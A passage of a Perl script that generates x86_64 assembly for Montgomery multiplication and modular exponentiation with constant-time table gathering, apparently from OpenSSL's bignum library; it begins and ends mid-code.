if (!$addx && $win64 && ($flavour =~ /masm/ || $ENV{ASM} =~ /ml64/) &&
`ml64 2>&1` =~ /Version ([0-9]+)\./) {
$addx = ($1>=12);
}
if (!$addx && `$ENV{CC} -v 2>&1` =~ /((?:^clang|LLVM) version|based on LLVM) ([3-9])\.([0-9]+)/) {
my $ver = $2 + $3/100.0; # 3.1->3.01, 3.10->3.10
$addx = ($ver>=3.03);
}
# int bn_mul_mont_gather5(
$rp="%rdi"; # BN_ULONG *rp,
$ap="%rsi"; # const BN_ULONG *ap,
$bp="%rdx"; # const BN_ULONG *bp,
$np="%rcx"; # const BN_ULONG *np,
$n0="%r8"; # const BN_ULONG *n0,
$num="%r9"; # int num,
# int idx); # 0 to 2^5-1, "index" in $bp holding
# pre-computed powers of a', interlaced
# in such manner that b[0] is $bp[idx],
# b[1] is [2^5+idx], etc.
$lo0="%r10";
$hi0="%r11";
$hi1="%r13";
$i="%r14";
$j="%r15";
$m0="%rbx";
$m1="%rbp";
$code=<<___;
.text
.extern OPENSSL_ia32cap_P
.globl bn_mul_mont_gather5
.type bn_mul_mont_gather5,\@function,6
.align 64
bn_mul_mont_gather5:
test \$7,${num}d
jnz .Lmul_enter
___
$code.=<<___ if ($addx);
mov OPENSSL_ia32cap_P+8(%rip),%r11d
___
$code.=<<___;
jmp .Lmul4x_enter
.align 16
.Lmul_enter:
mov ${num}d,${num}d
mov %rsp,%rax
mov `($win64?56:8)`(%rsp),%r10d # load 7th argument
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
___
$code.=<<___ if ($win64);
lea -0x28(%rsp),%rsp
movaps %xmm6,(%rsp)
movaps %xmm7,0x10(%rsp)
___
$code.=<<___;
lea 2($num),%r11
neg %r11
lea (%rsp,%r11,8),%rsp # tp=alloca(8*(num+2))
and \$-1024,%rsp # minimize TLB usage
mov %rax,8(%rsp,$num,8) # tp[num+1]=%rsp
.Lmul_body:
mov $bp,%r12 # reassign $bp
___
$bp="%r12";
$STRIDE=2**5*8; # 5 is "window size"
$N=$STRIDE/4; # should match cache line size
$code.=<<___;
mov %r10,%r11
shr \$`log($N/8)/log(2)`,%r10
and \$`$N/8-1`,%r11
not %r10
lea .Lmagic_masks(%rip),%rax
and \$`2**5/($N/8)-1`,%r10 # 5 is "window size"
lea 96($bp,%r11,8),$bp # pointer within 1st cache line
movq 0(%rax,%r10,8),%xmm4 # set of masks denoting which
movq 8(%rax,%r10,8),%xmm5 # cache line contains element
movq 16(%rax,%r10,8),%xmm6 # denoted by 7th argument
movq 24(%rax,%r10,8),%xmm7
movq `0*$STRIDE/4-96`($bp),%xmm0
movq `1*$STRIDE/4-96`($bp),%xmm1
pand %xmm4,%xmm0
movq `2*$STRIDE/4-96`($bp),%xmm2
pand %xmm5,%xmm1
movq `3*$STRIDE/4-96`($bp),%xmm3
pand %xmm6,%xmm2
por %xmm1,%xmm0
pand %xmm7,%xmm3
por %xmm2,%xmm0
lea $STRIDE($bp),$bp
por %xmm3,%xmm0
movq %xmm0,$m0 # m0=bp[0]
mov ($n0),$n0 # pull n0[0] value
mov ($ap),%rax
xor $i,$i # i=0
xor $j,$j # j=0
movq `0*$STRIDE/4-96`($bp),%xmm0
movq `1*$STRIDE/4-96`($bp),%xmm1
pand %xmm4,%xmm0
movq `2*$STRIDE/4-96`($bp),%xmm2
pand %xmm5,%xmm1
mov $n0,$m1
mulq $m0 # ap[0]*bp[0]
mov %rax,$lo0
mov ($np),%rax
movq `3*$STRIDE/4-96`($bp),%xmm3
pand %xmm6,%xmm2
por %xmm1,%xmm0
pand %xmm7,%xmm3
imulq $lo0,$m1 # "tp[0]"*n0
mov %rdx,$hi0
por %xmm2,%xmm0
lea $STRIDE($bp),$bp
por %xmm3,%xmm0
mulq $m1 # np[0]*m1
add %rax,$lo0 # discarded
mov 8($ap),%rax
adc \$0,%rdx
mov %rdx,$hi1
lea 1($j),$j # j++
jmp .L1st_enter
.align 16
.L1st:
add %rax,$hi1
mov ($ap,$j,8),%rax
adc \$0,%rdx
add $hi0,$hi1 # np[j]*m1+ap[j]*bp[0]
mov $lo0,$hi0
adc \$0,%rdx
mov $hi1,-16(%rsp,$j,8) # tp[j-1]
mov %rdx,$hi1
.L1st_enter:
mulq $m0 # ap[j]*bp[0]
add %rax,$hi0
mov ($np,$j,8),%rax
adc \$0,%rdx
lea 1($j),$j # j++
mov %rdx,$lo0
mulq $m1 # np[j]*m1
cmp $num,$j
jne .L1st
movq %xmm0,$m0 # bp[1]
add %rax,$hi1
mov ($ap),%rax # ap[0]
adc \$0,%rdx
add $hi0,$hi1 # np[j]*m1+ap[j]*bp[0]
adc \$0,%rdx
mov $hi1,-16(%rsp,$j,8) # tp[j-1]
mov %rdx,$hi1
mov $lo0,$hi0
xor %rdx,%rdx
add $hi0,$hi1
adc \$0,%rdx
mov $hi1,-8(%rsp,$num,8)
mov %rdx,(%rsp,$num,8) # store upmost overflow bit
lea 1($i),$i # i++
jmp .Louter
.align 16
.Louter:
xor $j,$j # j=0
mov $n0,$m1
mov (%rsp),$lo0
movq `0*$STRIDE/4-96`($bp),%xmm0
movq `1*$STRIDE/4-96`($bp),%xmm1
pand %xmm4,%xmm0
movq `2*$STRIDE/4-96`($bp),%xmm2
pand %xmm5,%xmm1
mulq $m0 # ap[0]*bp[i]
add %rax,$lo0 # ap[0]*bp[i]+tp[0]
mov ($np),%rax
adc \$0,%rdx
movq `3*$STRIDE/4-96`($bp),%xmm3
pand %xmm6,%xmm2
por %xmm1,%xmm0
pand %xmm7,%xmm3
imulq $lo0,$m1 # tp[0]*n0
mov %rdx,$hi0
por %xmm2,%xmm0
lea $STRIDE($bp),$bp
por %xmm3,%xmm0
mulq $m1 # np[0]*m1
add %rax,$lo0 # discarded
mov 8($ap),%rax
adc \$0,%rdx
mov 8(%rsp),$lo0 # tp[1]
mov %rdx,$hi1
lea 1($j),$j # j++
jmp .Linner_enter
.align 16
.Linner:
add %rax,$hi1
mov ($ap,$j,8),%rax
adc \$0,%rdx
add $lo0,$hi1 # np[j]*m1+ap[j]*bp[i]+tp[j]
mov (%rsp,$j,8),$lo0
adc \$0,%rdx
mov $hi1,-16(%rsp,$j,8) # tp[j-1]
mov %rdx,$hi1
.Linner_enter:
mulq $m0 # ap[j]*bp[i]
add %rax,$hi0
mov ($np,$j,8),%rax
adc \$0,%rdx
add $hi0,$lo0 # ap[j]*bp[i]+tp[j]
mov %rdx,$hi0
adc \$0,$hi0
lea 1($j),$j # j++
mulq $m1 # np[j]*m1
cmp $num,$j
jne .Linner
movq %xmm0,$m0 # bp[i+1]
add %rax,$hi1
mov ($ap),%rax # ap[0]
adc \$0,%rdx
add $lo0,$hi1 # np[j]*m1+ap[j]*bp[i]+tp[j]
mov (%rsp,$j,8),$lo0
adc \$0,%rdx
mov $hi1,-16(%rsp,$j,8) # tp[j-1]
mov %rdx,$hi1
xor %rdx,%rdx
add $hi0,$hi1
adc \$0,%rdx
add $lo0,$hi1 # pull upmost overflow bit
adc \$0,%rdx
mov $hi1,-8(%rsp,$num,8)
mov %rdx,(%rsp,$num,8) # store upmost overflow bit
lea 1($i),$i # i++
cmp $num,$i
jb .Louter
xor $i,$i # i=0 and clear CF!
mov (%rsp),%rax # tp[0]
lea (%rsp),$ap # borrow ap for tp
mov $num,$j # j=num
jmp .Lsub
.align 16
.Lsub: sbb ($np,$i,8),%rax
mov %rax,($rp,$i,8) # rp[i]=tp[i]-np[i]
mov 8($ap,$i,8),%rax # tp[i+1]
lea 1($i),$i # i++
dec $j # doesnn't affect CF!
jnz .Lsub
sbb \$0,%rax # handle upmost overflow bit
xor $i,$i
and %rax,$ap
not %rax
mov $rp,$np
and %rax,$np
mov $num,$j # j=num
or $np,$ap # ap=borrow?tp:rp
.align 16
.Lcopy: # copy or in-place refresh
mov ($ap,$i,8),%rax
mov $i,(%rsp,$i,8) # zap temporary vector
mov %rax,($rp,$i,8) # rp[i]=tp[i]
lea 1($i),$i
sub \$1,$j
jnz .Lcopy
mov 8(%rsp,$num,8),%rsi # restore %rsp
mov \$1,%rax
___
$code.=<<___ if ($win64);
movaps -88(%rsi),%xmm6
movaps -72(%rsi),%xmm7
___
$code.=<<___;
mov -48(%rsi),%r15
mov -40(%rsi),%r14
mov -32(%rsi),%r13
mov -24(%rsi),%r12
mov -16(%rsi),%rbp
mov -8(%rsi),%rbx
lea (%rsi),%rsp
.Lmul_epilogue:
ret
.size bn_mul_mont_gather5,.-bn_mul_mont_gather5
___
{{{
my @A=("%r10","%r11");
my @N=("%r13","%rdi");
$code.=<<___;
.type bn_mul4x_mont_gather5,\@function,6
.align 32
bn_mul4x_mont_gather5:
.Lmul4x_enter:
___
$code.=<<___ if ($addx);
and \$0x80100,%r11d
cmp \$0x80100,%r11d
je .Lmulx4x_enter
___
$code.=<<___;
.byte 0x67
mov %rsp,%rax
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
___
$code.=<<___ if ($win64);
lea -0x28(%rsp),%rsp
movaps %xmm6,(%rsp)
movaps %xmm7,0x10(%rsp)
___
$code.=<<___;
.byte 0x67
mov ${num}d,%r10d
shl \$3,${num}d
shl \$3+2,%r10d # 4*$num
neg $num # -$num
##############################################################
# ensure that stack frame doesn't alias with $aptr+4*$num
# modulo 4096, which covers ret[num], am[num] and n[2*num]
# (see bn_exp.c). this is done to allow memory disambiguation
# logic do its magic. [excessive frame is allocated in order
# to allow bn_from_mont8x to clear it.]
#
lea -64(%rsp,$num,2),%r11
sub $ap,%r11
and \$4095,%r11
cmp %r11,%r10
jb .Lmul4xsp_alt
sub %r11,%rsp # align with $ap
lea -64(%rsp,$num,2),%rsp # alloca(128+num*8)
jmp .Lmul4xsp_done
.align 32
.Lmul4xsp_alt:
lea 4096-64(,$num,2),%r10
lea -64(%rsp,$num,2),%rsp # alloca(128+num*8)
sub %r10,%r11
mov \$0,%r10
cmovc %r10,%r11
sub %r11,%rsp
.Lmul4xsp_done:
and \$-64,%rsp
neg $num
mov %rax,40(%rsp)
.Lmul4x_body:
call mul4x_internal
mov 40(%rsp),%rsi # restore %rsp
mov \$1,%rax
___
$code.=<<___ if ($win64);
movaps -88(%rsi),%xmm6
movaps -72(%rsi),%xmm7
___
$code.=<<___;
mov -48(%rsi),%r15
mov -40(%rsi),%r14
mov -32(%rsi),%r13
mov -24(%rsi),%r12
mov -16(%rsi),%rbp
mov -8(%rsi),%rbx
lea (%rsi),%rsp
.Lmul4x_epilogue:
ret
.size bn_mul4x_mont_gather5,.-bn_mul4x_mont_gather5
.type mul4x_internal,\@abi-omnipotent
.align 32
mul4x_internal:
shl \$5,$num
mov `($win64?56:8)`(%rax),%r10d # load 7th argument
lea 256(%rdx,$num),%r13
shr \$5,$num # restore $num
___
$bp="%r12";
$STRIDE=2**5*8; # 5 is "window size"
$N=$STRIDE/4; # should match cache line size
$tp=$i;
$code.=<<___;
mov %r10,%r11
shr \$`log($N/8)/log(2)`,%r10
and \$`$N/8-1`,%r11
not %r10
lea .Lmagic_masks(%rip),%rax
and \$`2**5/($N/8)-1`,%r10 # 5 is "window size"
lea 96(%rdx,%r11,8),$bp # pointer within 1st cache line
movq 0(%rax,%r10,8),%xmm4 # set of masks denoting which
movq 8(%rax,%r10,8),%xmm5 # cache line contains element
add \$7,%r11
movq 16(%rax,%r10,8),%xmm6 # denoted by 7th argument
movq 24(%rax,%r10,8),%xmm7
and \$7,%r11
movq `0*$STRIDE/4-96`($bp),%xmm0
lea $STRIDE($bp),$tp # borrow $tp
movq `1*$STRIDE/4-96`($bp),%xmm1
pand %xmm4,%xmm0
movq `2*$STRIDE/4-96`($bp),%xmm2
pand %xmm5,%xmm1
movq `3*$STRIDE/4-96`($bp),%xmm3
pand %xmm6,%xmm2
.byte 0x67
por %xmm1,%xmm0
movq `0*$STRIDE/4-96`($tp),%xmm1
.byte 0x67
pand %xmm7,%xmm3
.byte 0x67
por %xmm2,%xmm0
movq `1*$STRIDE/4-96`($tp),%xmm2
.byte 0x67
pand %xmm4,%xmm1
.byte 0x67
por %xmm3,%xmm0
movq `2*$STRIDE/4-96`($tp),%xmm3
movq %xmm0,$m0 # m0=bp[0]
movq `3*$STRIDE/4-96`($tp),%xmm0
mov %r13,16+8(%rsp) # save end of b[num]
mov $rp, 56+8(%rsp) # save $rp
mov ($n0),$n0 # pull n0[0] value
mov ($ap),%rax
lea ($ap,$num),$ap # end of a[num]
neg $num
mov $n0,$m1
mulq $m0 # ap[0]*bp[0]
mov %rax,$A[0]
mov ($np),%rax
pand %xmm5,%xmm2
pand %xmm6,%xmm3
por %xmm2,%xmm1
imulq $A[0],$m1 # "tp[0]"*n0
##############################################################
# $tp is chosen so that writing to top-most element of the
# vector occurs just "above" references to powers table,
# "above" modulo cache-line size, which effectively precludes
# possibility of memory disambiguation logic failure when
# accessing the table.
#
lea 64+8(%rsp,%r11,8),$tp
mov %rdx,$A[1]
pand %xmm7,%xmm0
por %xmm3,%xmm1
lea 2*$STRIDE($bp),$bp
por %xmm1,%xmm0
mulq $m1 # np[0]*m1
add %rax,$A[0] # discarded
mov 8($ap,$num),%rax
adc \$0,%rdx
mov %rdx,$N[1]
mulq $m0
add %rax,$A[1]
mov 16*1($np),%rax # interleaved with 0, therefore 16*n
adc \$0,%rdx
mov %rdx,$A[0]
mulq $m1
add %rax,$N[1]
mov 16($ap,$num),%rax
adc \$0,%rdx
add $A[1],$N[1]
lea 4*8($num),$j # j=4
lea 16*4($np),$np
adc \$0,%rdx
mov $N[1],($tp)
mov %rdx,$N[0]
jmp .L1st4x
.align 32
.L1st4x:
mulq $m0 # ap[j]*bp[0]
add %rax,$A[0]
mov -16*2($np),%rax
lea 32($tp),$tp
adc \$0,%rdx
mov %rdx,$A[1]
mulq $m1 # np[j]*m1
add %rax,$N[0]
mov -8($ap,$j),%rax
adc \$0,%rdx
add $A[0],$N[0] # np[j]*m1+ap[j]*bp[0]
adc \$0,%rdx
mov $N[0],-24($tp) # tp[j-1]
mov %rdx,$N[1]
mulq $m0 # ap[j]*bp[0]
add %rax,$A[1]
mov -16*1($np),%rax
adc \$0,%rdx
mov %rdx,$A[0]
mulq $m1 # np[j]*m1
add %rax,$N[1]
mov ($ap,$j),%rax
adc \$0,%rdx
add $A[1],$N[1] # np[j]*m1+ap[j]*bp[0]
adc \$0,%rdx
mov $N[1],-16($tp) # tp[j-1]
mov %rdx,$N[0]
mulq $m0 # ap[j]*bp[0]
add %rax,$A[0]
mov 16*0($np),%rax
adc \$0,%rdx
mov %rdx,$A[1]
mulq $m1 # np[j]*m1
add %rax,$N[0]
mov 8($ap,$j),%rax
adc \$0,%rdx
add $A[0],$N[0] # np[j]*m1+ap[j]*bp[0]
adc \$0,%rdx
mov $N[0],-8($tp) # tp[j-1]
mov %rdx,$N[1]
mulq $m0 # ap[j]*bp[0]
add %rax,$A[1]
mov 16*1($np),%rax
adc \$0,%rdx
mov %rdx,$A[0]
mulq $m1 # np[j]*m1
add %rax,$N[1]
mov 16($ap,$j),%rax
adc \$0,%rdx
add $A[1],$N[1] # np[j]*m1+ap[j]*bp[0]
lea 16*4($np),$np
adc \$0,%rdx
mov $N[1],($tp) # tp[j-1]
mov %rdx,$N[0]
add \$32,$j # j+=4
jnz .L1st4x
mulq $m0 # ap[j]*bp[0]
add %rax,$A[0]
mov -16*2($np),%rax
lea 32($tp),$tp
adc \$0,%rdx
mov %rdx,$A[1]
mulq $m1 # np[j]*m1
add %rax,$N[0]
mov -8($ap),%rax
adc \$0,%rdx
add $A[0],$N[0] # np[j]*m1+ap[j]*bp[0]
adc \$0,%rdx
mov $N[0],-24($tp) # tp[j-1]
mov %rdx,$N[1]
mulq $m0 # ap[j]*bp[0]
add %rax,$A[1]
mov -16*1($np),%rax
adc \$0,%rdx
mov %rdx,$A[0]
mulq $m1 # np[j]*m1
add %rax,$N[1]
mov ($ap,$num),%rax # ap[0]
adc \$0,%rdx
add $A[1],$N[1] # np[j]*m1+ap[j]*bp[0]
adc \$0,%rdx
mov $N[1],-16($tp) # tp[j-1]
mov %rdx,$N[0]
movq %xmm0,$m0 # bp[1]
lea ($np,$num,2),$np # rewind $np
xor $N[1],$N[1]
add $A[0],$N[0]
adc \$0,$N[1]
mov $N[0],-8($tp)
jmp .Louter4x
.align 32
.Louter4x:
mov ($tp,$num),$A[0]
mov $n0,$m1
mulq $m0 # ap[0]*bp[i]
add %rax,$A[0] # ap[0]*bp[i]+tp[0]
mov ($np),%rax
adc \$0,%rdx
movq `0*$STRIDE/4-96`($bp),%xmm0
movq `1*$STRIDE/4-96`($bp),%xmm1
pand %xmm4,%xmm0
movq `2*$STRIDE/4-96`($bp),%xmm2
pand %xmm5,%xmm1
movq `3*$STRIDE/4-96`($bp),%xmm3
imulq $A[0],$m1 # tp[0]*n0
.byte 0x67
mov %rdx,$A[1]
mov $N[1],($tp) # store upmost overflow bit
pand %xmm6,%xmm2
por %xmm1,%xmm0
pand %xmm7,%xmm3
por %xmm2,%xmm0
lea ($tp,$num),$tp # rewind $tp
lea $STRIDE($bp),$bp
por %xmm3,%xmm0
mulq $m1 # np[0]*m1
add %rax,$A[0] # "$N[0]", discarded
mov 8($ap,$num),%rax
adc \$0,%rdx
mov %rdx,$N[1]
mulq $m0 # ap[j]*bp[i]
add %rax,$A[1]
mov 16*1($np),%rax # interleaved with 0, therefore 16*n
adc \$0,%rdx
add 8($tp),$A[1] # +tp[1]
adc \$0,%rdx
mov %rdx,$A[0]
mulq $m1 # np[j]*m1
add %rax,$N[1]
mov 16($ap,$num),%rax
adc \$0,%rdx
add $A[1],$N[1] # np[j]*m1+ap[j]*bp[i]+tp[j]
lea 4*8($num),$j # j=4
lea 16*4($np),$np
adc \$0,%rdx
mov %rdx,$N[0]
jmp .Linner4x
.align 32
.Linner4x:
mulq $m0 # ap[j]*bp[i]
add %rax,$A[0]
mov -16*2($np),%rax
adc \$0,%rdx
add 16($tp),$A[0] # ap[j]*bp[i]+tp[j]
lea 32($tp),$tp
adc \$0,%rdx
mov %rdx,$A[1]
mulq $m1 # np[j]*m1
add %rax,$N[0]
mov -8($ap,$j),%rax
adc \$0,%rdx
add $A[0],$N[0]
adc \$0,%rdx
mov $N[1],-32($tp) # tp[j-1]
mov %rdx,$N[1]
mulq $m0 # ap[j]*bp[i]
add %rax,$A[1]
mov -16*1($np),%rax
adc \$0,%rdx
add -8($tp),$A[1]
adc \$0,%rdx
mov %rdx,$A[0]
mulq $m1 # np[j]*m1
add %rax,$N[1]
mov ($ap,$j),%rax
adc \$0,%rdx
add $A[1],$N[1]
adc \$0,%rdx
mov $N[0],-24($tp) # tp[j-1]
mov %rdx,$N[0]
mulq $m0 # ap[j]*bp[i]
add %rax,$A[0]
mov 16*0($np),%rax
adc \$0,%rdx
add ($tp),$A[0] # ap[j]*bp[i]+tp[j]
adc \$0,%rdx
mov %rdx,$A[1]
mulq $m1 # np[j]*m1
add %rax,$N[0]
mov 8($ap,$j),%rax
adc \$0,%rdx
add $A[0],$N[0]
adc \$0,%rdx
mov $N[1],-16($tp) # tp[j-1]
mov %rdx,$N[1]
mulq $m0 # ap[j]*bp[i]
add %rax,$A[1]
mov 16*1($np),%rax
adc \$0,%rdx
add 8($tp),$A[1]
adc \$0,%rdx
mov %rdx,$A[0]
mulq $m1 # np[j]*m1
add %rax,$N[1]
mov 16($ap,$j),%rax
adc \$0,%rdx
add $A[1],$N[1]
lea 16*4($np),$np
adc \$0,%rdx
mov $N[0],-8($tp) # tp[j-1]
mov %rdx,$N[0]
add \$32,$j # j+=4
jnz .Linner4x
mulq $m0 # ap[j]*bp[i]
add %rax,$A[0]
mov -16*2($np),%rax
adc \$0,%rdx
add 16($tp),$A[0] # ap[j]*bp[i]+tp[j]
lea 32($tp),$tp
adc \$0,%rdx
mov %rdx,$A[1]
mulq $m1 # np[j]*m1
add %rax,$N[0]
mov -8($ap),%rax
adc \$0,%rdx
add $A[0],$N[0]
adc \$0,%rdx
mov $N[1],-32($tp) # tp[j-1]
mov %rdx,$N[1]
mulq $m0 # ap[j]*bp[i]
add %rax,$A[1]
mov $m1,%rax
mov -16*1($np),$m1
adc \$0,%rdx
add -8($tp),$A[1]
adc \$0,%rdx
mov %rdx,$A[0]
mulq $m1 # np[j]*m1
add %rax,$N[1]
mov ($ap,$num),%rax # ap[0]
adc \$0,%rdx
add $A[1],$N[1]
adc \$0,%rdx
mov $N[0],-24($tp) # tp[j-1]
mov %rdx,$N[0]
movq %xmm0,$m0 # bp[i+1]
mov $N[1],-16($tp) # tp[j-1]
lea ($np,$num,2),$np # rewind $np
xor $N[1],$N[1]
add $A[0],$N[0]
adc \$0,$N[1]
add ($tp),$N[0] # pull upmost overflow bit
adc \$0,$N[1] # upmost overflow bit
mov $N[0],-8($tp)
cmp 16+8(%rsp),$bp
jb .Louter4x
___
if (1) {
$code.=<<___;
sub $N[0],$m1 # compare top-most words
adc $j,$j # $j is zero
or $j,$N[1]
xor \$1,$N[1]
lea ($tp,$num),%rbx # tptr in .sqr4x_sub
lea ($np,$N[1],8),%rbp # nptr in .sqr4x_sub
mov %r9,%rcx
sar \$3+2,%rcx # cf=0
mov 56+8(%rsp),%rdi # rptr in .sqr4x_sub
jmp .Lsqr4x_sub
___
} else {
my @ri=("%rax",$bp,$m0,$m1);
my $rp="%rdx";
$code.=<<___
xor \$1,$N[1]
lea ($tp,$num),$tp # rewind $tp
sar \$5,$num # cf=0
lea ($np,$N[1],8),$np
mov 56+8(%rsp),$rp # restore $rp
jmp .Lsub4x
.align 32
.Lsub4x:
.byte 0x66
mov 8*0($tp),@ri[0]
mov 8*1($tp),@ri[1]
.byte 0x66
sbb 16*0($np),@ri[0]
mov 8*2($tp),@ri[2]
sbb 16*1($np),@ri[1]
mov 3*8($tp),@ri[3]
lea 4*8($tp),$tp
sbb 16*2($np),@ri[2]
mov @ri[0],8*0($rp)
sbb 16*3($np),@ri[3]
lea 16*4($np),$np
mov @ri[1],8*1($rp)
mov @ri[2],8*2($rp)
mov @ri[3],8*3($rp)
lea 8*4($rp),$rp
inc $num
jnz .Lsub4x
ret
___
}
$code.=<<___;
.size mul4x_internal,.-mul4x_internal
___
}}}
{{{
######################################################################
# void bn_power5(
my $rptr="%rdi"; # BN_ULONG *rptr,
my $aptr="%rsi"; # const BN_ULONG *aptr,
my $bptr="%rdx"; # const void *table,
my $nptr="%rcx"; # const BN_ULONG *nptr,
my $n0 ="%r8"; # const BN_ULONG *n0);
my $num ="%r9"; # int num, has to be divisible by 8
# int pwr
my ($i,$j,$tptr)=("%rbp","%rcx",$rptr);
my @A0=("%r10","%r11");
my @A1=("%r12","%r13");
my ($a0,$a1,$ai)=("%r14","%r15","%rbx");
$code.=<<___;
.globl bn_power5
.type bn_power5,\@function,6
.align 32
bn_power5:
___
$code.=<<___ if ($addx);
mov OPENSSL_ia32cap_P+8(%rip),%r11d
and \$0x80100,%r11d
cmp \$0x80100,%r11d
je .Lpowerx5_enter
___
$code.=<<___;
mov %rsp,%rax
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
___
$code.=<<___ if ($win64);
lea -0x28(%rsp),%rsp
movaps %xmm6,(%rsp)
movaps %xmm7,0x10(%rsp)
___
$code.=<<___;
mov ${num}d,%r10d
shl \$3,${num}d # convert $num to bytes
shl \$3+2,%r10d # 4*$num
neg $num
mov ($n0),$n0 # *n0
##############################################################
# ensure that stack frame doesn't alias with $aptr+4*$num
# modulo 4096, which covers ret[num], am[num] and n[2*num]
# (see bn_exp.c). this is done to allow memory disambiguation
# logic do its magic.
#
lea -64(%rsp,$num,2),%r11
sub $aptr,%r11
and \$4095,%r11
cmp %r11,%r10
jb .Lpwr_sp_alt
sub %r11,%rsp # align with $aptr
lea -64(%rsp,$num,2),%rsp # alloca(frame+2*$num)
jmp .Lpwr_sp_done
.align 32
.Lpwr_sp_alt:
lea 4096-64(,$num,2),%r10 # 4096-frame-2*$num
lea -64(%rsp,$num,2),%rsp # alloca(frame+2*$num)
sub %r10,%r11
mov \$0,%r10
cmovc %r10,%r11
sub %r11,%rsp
.Lpwr_sp_done:
and \$-64,%rsp
mov $num,%r10
neg $num
##############################################################
# Stack layout
#
# +0 saved $num, used in reduction section
# +8 &t[2*$num], used in reduction section
# +32 saved *n0
# +40 saved %rsp
# +48 t[2*$num]
#
mov $n0, 32(%rsp)
mov %rax, 40(%rsp) # save original %rsp
.Lpower5_body:
movq $rptr,%xmm1 # save $rptr
movq $nptr,%xmm2 # save $nptr
movq %r10, %xmm3 # -$num
movq $bptr,%xmm4
call __bn_sqr8x_internal
call __bn_sqr8x_internal
call __bn_sqr8x_internal
call __bn_sqr8x_internal
call __bn_sqr8x_internal
movq %xmm2,$nptr
movq %xmm4,$bptr
mov $aptr,$rptr
mov 40(%rsp),%rax
lea 32(%rsp),$n0
call mul4x_internal
mov 40(%rsp),%rsi # restore %rsp
mov \$1,%rax
mov -48(%rsi),%r15
mov -40(%rsi),%r14
mov -32(%rsi),%r13
mov -24(%rsi),%r12
mov -16(%rsi),%rbp
mov -8(%rsi),%rbx
lea (%rsi),%rsp
.Lpower5_epilogue:
ret
.size bn_power5,.-bn_power5
.globl bn_sqr8x_internal
.hidden bn_sqr8x_internal
.type bn_sqr8x_internal,\@abi-omnipotent
.align 32
bn_sqr8x_internal:
__bn_sqr8x_internal:
##############################################################
# Squaring part:
#
# a) multiply-n-add everything but a[i]*a[i];
# b) shift result of a) by 1 to the left and accumulate
# a[i]*a[i] products;
#
##############################################################
# a[1]a[0]
# a[2]a[0]
# a[3]a[0]
# a[2]a[1]
# a[4]a[0]
# a[3]a[1]
# a[5]a[0]
# a[4]a[1]
# a[3]a[2]
# a[6]a[0]
# a[5]a[1]
# a[4]a[2]
# a[7]a[0]
# a[6]a[1]
# a[5]a[2]
# a[4]a[3]
# a[7]a[1]
# a[6]a[2]
# a[5]a[3]
# a[7]a[2]
# a[6]a[3]
# a[5]a[4]
# a[7]a[3]
# a[6]a[4]
# a[7]a[4]
# a[6]a[5]
# a[7]a[5]
# a[7]a[6]
# a[1]a[0]
# a[2]a[0]
# a[3]a[0]
# a[4]a[0]
# a[5]a[0]
# a[6]a[0]
# a[7]a[0]
# a[2]a[1]
# a[3]a[1]
# a[4]a[1]
# a[5]a[1]
# a[6]a[1]
# a[7]a[1]
# a[3]a[2]
# a[4]a[2]
# a[5]a[2]
# a[6]a[2]
# a[7]a[2]
# a[4]a[3]
# a[5]a[3]
# a[6]a[3]
# a[7]a[3]
# a[5]a[4]
# a[6]a[4]
# a[7]a[4]
# a[6]a[5]
# a[7]a[5]
# a[7]a[6]
# a[0]a[0]
# a[1]a[1]
# a[2]a[2]
# a[3]a[3]
# a[4]a[4]
# a[5]a[5]
# a[6]a[6]
# a[7]a[7]
lea 32(%r10),$i # $i=-($num-32)
lea ($aptr,$num),$aptr # end of a[] buffer, ($aptr,$i)=&ap[2]
mov $num,$j # $j=$num
# comments apply to $num==8 case
mov -32($aptr,$i),$a0 # a[0]
lea 48+8(%rsp,$num,2),$tptr # end of tp[] buffer, &tp[2*$num]
mov -24($aptr,$i),%rax # a[1]
lea -32($tptr,$i),$tptr # end of tp[] window, &tp[2*$num-"$i"]
mov -16($aptr,$i),$ai # a[2]
mov %rax,$a1
mul $a0 # a[1]*a[0]
mov %rax,$A0[0] # a[1]*a[0]
mov $ai,%rax # a[2]
mov %rdx,$A0[1]
mov $A0[0],-24($tptr,$i) # t[1]
mul $a0 # a[2]*a[0]
add %rax,$A0[1]
mov $ai,%rax
adc \$0,%rdx
mov $A0[1],-16($tptr,$i) # t[2]
mov %rdx,$A0[0]
mov -8($aptr,$i),$ai # a[3]
mul $a1 # a[2]*a[1]
mov %rax,$A1[0] # a[2]*a[1]+t[3]
mov $ai,%rax
mov %rdx,$A1[1]
lea ($i),$j
mul $a0 # a[3]*a[0]
add %rax,$A0[0] # a[3]*a[0]+a[2]*a[1]+t[3]
mov $ai,%rax
mov %rdx,$A0[1]
adc \$0,$A0[1]
add $A1[0],$A0[0]
adc \$0,$A0[1]
mov $A0[0],-8($tptr,$j) # t[3]
jmp .Lsqr4x_1st
.align 32
.Lsqr4x_1st:
mov ($aptr,$j),$ai # a[4]
mul $a1 # a[3]*a[1]
add %rax,$A1[1] # a[3]*a[1]+t[4]
mov $ai,%rax
mov %rdx,$A1[0]
adc \$0,$A1[0]
mul $a0 # a[4]*a[0]
add %rax,$A0[1] # a[4]*a[0]+a[3]*a[1]+t[4]
mov $ai,%rax # a[3]
mov 8($aptr,$j),$ai # a[5]
mov %rdx,$A0[0]
adc \$0,$A0[0]
add $A1[1],$A0[1]
adc \$0,$A0[0]
mul $a1 # a[4]*a[3]
add %rax,$A1[0] # a[4]*a[3]+t[5]
mov $ai,%rax
mov $A0[1],($tptr,$j) # t[4]
mov %rdx,$A1[1]
adc \$0,$A1[1]
mul $a0 # a[5]*a[2]
add %rax,$A0[0] # a[5]*a[2]+a[4]*a[3]+t[5]
mov $ai,%rax
mov 16($aptr,$j),$ai # a[6]
mov %rdx,$A0[1]
adc \$0,$A0[1]
add $A1[0],$A0[0]
adc \$0,$A0[1]
mul $a1 # a[5]*a[3]
add %rax,$A1[1] # a[5]*a[3]+t[6]
mov $ai,%rax
mov $A0[0],8($tptr,$j) # t[5]
mov %rdx,$A1[0]
adc \$0,$A1[0]
mul $a0 # a[6]*a[2]
add %rax,$A0[1] # a[6]*a[2]+a[5]*a[3]+t[6]
mov $ai,%rax # a[3]
mov 24($aptr,$j),$ai # a[7]
mov %rdx,$A0[0]
adc \$0,$A0[0]
add $A1[1],$A0[1]
adc \$0,$A0[0]
mul $a1 # a[6]*a[5]
add %rax,$A1[0] # a[6]*a[5]+t[7]
mov $ai,%rax
mov $A0[1],16($tptr,$j) # t[6]
